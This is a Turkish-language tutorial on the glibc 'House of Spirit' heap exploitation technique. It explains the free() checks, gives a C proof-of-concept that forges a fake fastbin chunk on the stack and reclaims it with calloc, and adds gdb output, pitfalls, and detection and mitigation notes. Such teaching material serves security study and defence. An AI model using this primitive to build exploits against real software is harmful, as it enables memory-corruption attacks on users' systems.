Skip to content

House of Spirit

Writable memory'de (stack/bss/global) forge ettiğin sahte bir fastbin-boyutlu chunk'ı free et; böylece allocator bir sonraki malloc/calloc'ta o kontrol ettiğin bölgeyi geri verir.

Mechanism

Invariant: free() chunk header'a güvenir, kökenine değil

House of Spirit, free()'in bir pointer'ın gerçekten heap'ten gelip gelmediğini hiç kontrol etmemesini suistimal eder. fastbin-boyutlu bir istek için _int_free (ve ondan önceki tcache path'i) chunk'ı neredeyse tamamen, attacker'ın yerinde (in-place) sağladığı metadata'dan doğrular:

  1. Size class kontrolü. Chunk'ın size field'ı (victim - 8'de okunur) bir fastbin/tcache boyutuna yuvarlanmalı. x86-64'te 0x40'lık bir size malloc(0x30..0x38)'i karşılar. PREV_INUSE (bit 0) fastbin-boyutlu free'ler için yok sayılır, ama IS_MMAPPED (bit 1) ve NON_MAIN_ARENA (bit 2) clear olmalı, aksi halde free munmap ya da heap_for_ptr path'ine girer ve crash eder.

  2. Next-chunk size tutarlılığı. Modern glibc (_int_free ve fastbin path'i) bir sonraki chunk'ın size'ını victim + (size & ~0x7) - 8'de okur ve 2*SIZE_SZ < next_size < av->system_mem'i sağlamasını ister — yani > 0x10 ve < av->system_mem (main arena için varsayılan system_mem = 0x20000, yani 128 KiB). 0x1234 gibi bir değer geçer. Bu forge edilmiş "next size" olmadan glibc "free(): invalid next size (fast)" ile abort eder.

  3. Alignment. Sahte chunk'ın user pointer'ı, gerçek bir chunk gibi 16-byte aligned olmalı, yoksa malloc tutarlılık kontrolleri ve allocator'ın alignment varsayımları bozulur.

fastbin-boyutlu bir free'ye list-membership ya da arena-ownership kontrolü uygulanmadığı için, (a) bilinen bir target adresini ve (b) target'taki (size field) ve target + 0x40'taki (next size) byte'ları kontrol eden bir attacker, fastbin/tcache freelist'ine keyfi bir pointer enjekte edebilir. Eşleşen boyuttaki bir sonraki istek o pointer'ı döndürür: forge edilen bölge üzerinde neredeyse-arbitrary bir write primitive.

Walkthrough

Kanonik shellphish/how2heap demosu bir stack array içinde yan yana iki sahte chunk forge eder ve ilkini free eder. Önce tcache'i doldururuz (7 free), böylece target size klasik kontrollerin yaşadığı fastbin'e yönlenir.

// gcc -no-pie spirit.c -o spirit   (glibc 2.39 demo)
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main(void) {
    setbuf(stdout, NULL);

    // Step 1: fill the 0x40 tcache bin so the next same-size free hits fastbin.
    void *chunks[7];
    for (int i = 0; i < 7; i++) chunks[i] = malloc(0x30);
    for (int i = 0; i < 7; i++) free(chunks[i]);

    // Step 2: forge the fake chunk in 16-byte-aligned writable memory.
    long fake_chunks[10] __attribute__((aligned(0x10)));
    fake_chunks[1] = 0x40;    // chunk->size : fastbin class, mmap/non-main bits clear
    fake_chunks[9] = 0x1234;  // next chunk->size : 0x10 < x < system_mem

    // Step 3: free the user pointer (&fake_chunks[2] == chunk header + 0x10).
    void *victim = &fake_chunks[2];
    free(victim);             // injects the chunk header (&fake_chunks[0]) into the 0x40 fastbin

    // Step 4: reclaim it. calloc skips tcache, so it pulls straight from fastbin.
    void *allocated = calloc(1, 0x30);
    printf("calloc(0x30): %p, fake chunk: %p\n", allocated, victim);
    assert(allocated == victim);   // we own the stack region
    return 0;
}

Footgun'lar

  • size field'da off-by-one. malloc(0x30) için size == 0x40 gerekir (request + header, yuvarlanmış). Size'ı literal request boyutuna değil, bir sonraki request'in yuvarlanmış class'ına göre ayarla.
  • IS_MMAPPED/NON_MAIN_ARENA'yı unutmak. size içinde PREV_INUSE dışındaki herhangi bir başıboş yüksek ya da düşük bit free'yi saptırır ve abort ettirir.
  • tcache. glibc 2.26'dan beri tcache free'yi önce yakalar ve "next size" kontrolünü yapmaz, ama 7 entry'de tıkanır ve (2.29'dan beri) double-free için key/e->key'i kontrol eder. tcache'i doldurmak, orijinal teknikte kullanılan klasik fastbin path'ini zorlar.
Expected output / gdb view

calloc(0x30): 0x7ffe...c8b0, fake chunk: 0x7ffe...c8b0
pwndbg> p main_arena.fastbinsY[1]   # 0x40 bin after free(victim)
$1 = (mfastbinptr) 0x7ffe...c8a0    # points at our fake chunk header
fastbin head'i artık bir stack adresi tutuyor — heap-dışı pointer'ın kabul edildiğinin kanıtı.

Detection

  • Bilinen herhangi bir heap arena'sının dışına (stack, bss ya da mapped libc) işaret eden bir fastbin/tcache fd'si güçlü bir göstergedir. Hardened allocator'lar (ör. glibc'nin tcache key'i ya da Scudo/PartitionAlloc) heap-dışı pointer'ların free'sini reddeder.
  • MALLOC_CHECK_=3 ve glibc'nin __libc_free non-canonical-pointer kontrolleri bazı misaligned ya da wild free'leri runtime'da yüzeye çıkarabilir.

Mitigation

  • glibc'nin "free(): invalid next size (fast)" mesajı ve IS_MMAPPED/arena bit kontrolleri naif varyantları zaten bloklar; bunlar yalnızca attacker her iki size field'ını da tamamen kontrol ettiğinde başarısız olur.
  • Daha yeni glibc'lerdeki tcache e->key double-free tespiti ve free edilen tcache entry'lerinin geçerli bir key taşıması zorunluluğu tcache varyantı için çıtayı yükseltir.
  • Metadata'yı out-of-line (user data'dan ayrı) saklayan allocator'lar in-place header forge etmeyi tamamen etkisizleştirir.

References